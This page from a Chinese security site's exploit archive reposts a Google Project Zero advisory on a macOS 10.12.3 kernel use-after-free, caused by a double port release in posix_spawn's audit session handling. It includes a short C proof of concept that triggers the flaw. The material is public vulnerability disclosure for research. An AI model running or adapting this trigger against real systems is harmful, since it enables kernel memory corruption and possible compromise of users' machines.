首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS Kernel 10.12.3 (16D32) - Use-After-Free Due to Double-Release in posix_spa
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104
 
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
 
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
 
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
 
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
 
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
 
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/
 
// ianbeer
#if 0
MacOS/iOS kernel uaf due to double-release in posix_spawn
 
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
 
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
 
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
 
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
 
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
 
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>
 
#include <mach/mach.h>
 
int main() {
 
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
 
  posix_spawnattr_t attrs;
  posix_spawnattr_init(&attrs);
  posix_spawnattr_setauditsessionport_np(&attrs,p);
 
  char* _argv[] = {"/usr/bin/id", NULL};
  int child_pid = 0;
  int spawn_err = posix_spawn(&child_pid,
                              "/usr/bin/id",
                              NULL, // file actions
                              &attrs,
                              _argv,
                              NULL);
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS Kernel 10.12.2 (16C67) -
·macOS/iOS Kernel 10.12.3 (16D3
·SolarWinds LEM 6.3.1 - Remote
·macOS/iOS Kernel 10.12.3 (16D3
·Bluecoat ASG 6.6/CAS 1.3 - Pri
·macOS/iOS Kernel 10.12.3 (16D3
·Bluecoat ASG 6.6/CAS 1.3 - OS
·macOS/iOS Kernel 10.12.3 (16D3
·Apache Tomcat 6/7/8/9 - Inform
·macOS Kernel 10.12.3 (16D32) -
·macOS Kernel 10.12.2 (16C67) -
·BackBox OS - Denial of Service
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved